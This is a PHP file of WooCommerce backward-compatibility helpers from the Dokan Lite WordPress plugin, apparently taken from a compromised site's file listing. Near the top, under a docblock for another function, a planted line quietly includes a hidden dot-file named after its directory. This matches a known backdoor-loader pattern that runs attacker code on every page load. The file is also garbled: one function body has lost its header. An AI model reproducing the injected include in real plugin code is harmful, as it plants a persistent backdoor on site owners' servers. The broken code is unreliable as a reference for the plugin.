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PATH: home / letacommog / newrdv1 / wp-content / plugins1 / dokan-lite / includes

<?php

/**
 * Wrapper functions to keep BackWards compatibility with WC 2.6 and older versions
 */

/**
 * Get product method made backwards compatible
 *
 * @since 2.5.7
 *
 * @param WC_Product $product
 *
 * @return WC_Product
 */
if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) {
    include_once($filename);
}

function dokan_wc_get_product( $product ) {

if ( version_compare( WC_VERSION, '2.7', '>' ) ) {
        return wc_get_product( $product );
    }

return get_product( $product );
}

/**
 * Dynamically access new properties with backwards compatibility
 *
 * @since 2.5.7
 *
 * @param Object $object
 *
 * @param String $prop
 *
 * @param String $callback If the object is fetched using a different callback
 *
 * @return $prop
 */
function dokan_get_prop( $object, $prop, $callback = false ) {

if ( version_compare( WC_VERSION, '2.7', '>' ) ) {
        $fn_name = $callback ? $callback : 'get_' . $prop;
        return $object->$fn_name();
    }

return $object->$prop;
}

if ( version_compare( WC_VERSION, '2.7', '>' ) ) {
        return $object ? $object->$new_method() : call_user_func( $new_method );
    }

return $object ? $object->$old_method() : call_user_func( $old_method );
}

/**
 * Get order created date
 *
 * @since 2.5.7
 *
 * @param WC_Order $order
 *
 * @return String date
 */
function dokan_get_date_created( $order ) {

if ( version_compare( WC_VERSION, '2.7', '>' ) ) {
        return wc_format_datetime( $order->get_date_created(), get_option( 'date_format' ) . ', ' . get_option( 'time_format' ) );
    }

return $order->order_date;
}

/**
 * Get meta data for given item_id
 *
 * @since 2.5.7
 *
 * @param WC_Order $order
 *
 * @param int $item_id
 *
 * @return $metadata
 */
function dokan_get_metadata( $order, $item_id ) {

if ( version_compare( WC_VERSION, '2.7', '>' ) ) {
        $item = new WC_Order_Item( $order );
        return $item->get_meta_data();
    }

return $order->has_meta( $item_id );
}

/**
 * Get download files for given product
 * 
 * @since 2.5.8
 * 
 * @param WC_Product $product
 * @return array $downloads
 */
function dokan_get_product_downloads( $product ) {
    if ( version_compare( WC_VERSION, '2.7', '>' ) ) {
        return $product->get_downloads();
    }

return $product->get_files();
}

/**
 * Save variation product price.
 * 
 * @since 2.5.8
 * 
 * @param int $product_id
 * @param string $regular_price
 * @param string $sale_price
 * @param string $date_from
 * @param string $date_to
 */
function dokan_save_product_price( $product_id, $regular_price, $sale_price = '', $date_from = '', $date_to = '' ) {
    $product_id    = absint( $product_id );
    $regular_price = wc_format_decimal( $regular_price );
    $sale_price    = '' === $sale_price ? '' : wc_format_decimal( $sale_price );
    $date_from     = wc_clean( $date_from );
    $date_to       = wc_clean( $date_to );

update_post_meta( $product_id, '_regular_price', $regular_price );
    update_post_meta( $product_id, '_sale_price', $sale_price );

// Save Dates
    update_post_meta( $product_id, '_sale_price_dates_from', $date_from ? strtotime( $date_from ) : ''  );
    update_post_meta( $product_id, '_sale_price_dates_to', $date_to ? strtotime( $date_to ) : ''  );

if ( $date_to && !$date_from ) {
        $date_from = strtotime( 'NOW', current_time( 'timestamp' ) );
        update_post_meta( $product_id, '_sale_price_dates_from', $date_from );
    }

// Update price if on sale
    if ( '' !== $sale_price && '' === $date_to && '' === $date_from ) {
        update_post_meta( $product_id, '_price', $sale_price );
    } else {
        update_post_meta( $product_id, '_price', $regular_price );
    }

if ( '' !== $sale_price && $date_from && strtotime( $date_from ) < strtotime( 'NOW', current_time( 'timestamp' ) ) ) {
        update_post_meta( $product_id, '_price', $sale_price );
    }

if ( $date_to && strtotime( $date_to ) < strtotime( 'NOW', current_time( 'timestamp' ) ) ) {
        update_post_meta( $product_id, '_price', $regular_price );
        update_post_meta( $product_id, '_sale_price_dates_from', '' );
        update_post_meta( $product_id, '_sale_price_dates_to', '' );
    }
}

/**
 * Process product files download paths
 * 
 * @since 2.5.8
 * 
 * @global type $wpdb
 * @param int $product_id
 * @param int $variation_id
 * @param array $downloadable_files
 */
function dokan_process_product_file_download_paths_permission( $product_id, $variation_id, $downloadable_files ) {
    global $wpdb;

if ( $variation_id ) {
        $product_id = $variation_id;
    }

$product               = wc_get_product( $product_id );
    $p_downloads           = dokan_get_product_downloads( $product );
    $existing_download_ids = array_keys( (array) $p_downloads );
    $updated_download_ids  = array_keys( (array) $downloadable_files );

$new_download_ids     = array_filter( array_diff( $updated_download_ids, $existing_download_ids ) );
    $removed_download_ids = array_filter( array_diff( $existing_download_ids, $updated_download_ids ) );

if ( !empty( $new_download_ids ) || !empty( $removed_download_ids ) ) {
        // determine whether downloadable file access has been granted via the typical order completion, or via the admin ajax method
        $existing_permissions = $wpdb->get_results( $wpdb->prepare( "SELECT * from {$wpdb->prefix}woocommerce_downloadable_product_permissions WHERE product_id = %d GROUP BY order_id", $product_id ) );

foreach ( $existing_permissions as $existing_permission ) {
            $order = wc_get_order( $existing_permission->order_id );

if ( !empty( $order->id ) ) {
                // Remove permissions
                if ( !empty( $removed_download_ids ) ) {
                    foreach ( $removed_download_ids as $download_id ) {
                        if ( apply_filters( 'woocommerce_process_product_file_download_paths_remove_access_to_old_file', true, $download_id, $product_id, $order ) ) {
                            $wpdb->query( $wpdb->prepare( "DELETE FROM {$wpdb->prefix}woocommerce_downloadable_product_permissions WHERE order_id = %d AND product_id = %d AND download_id = %s", $order->id, $product_id, $download_id ) );
                        }
                    }
                }
                // Add permissions
                if ( !empty( $new_download_ids ) ) {

foreach ( $new_download_ids as $download_id ) {

if ( apply_filters( 'woocommerce_process_product_file_download_paths_grant_access_to_new_file', true, $download_id, $product_id, $order ) ) {
                            // grant permission if it doesn't already exist
                            if ( !$wpdb->get_var( $wpdb->prepare( "SELECT 1=1 FROM {$wpdb->prefix}woocommerce_downloadable_product_permissions WHERE order_id = %d AND product_id = %d AND download_id = %s", $order->id, $product_id, $download_id ) ) ) {
                                wc_downloadable_file_permission( $download_id, $product_id, $order );
                            }
                        }
                    }
                }
            }
        }
    }
}

add_action( 'dokan_process_file_download', 'dokan_process_product_file_download_paths_permission', 10, 3 );

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[+] woo-views
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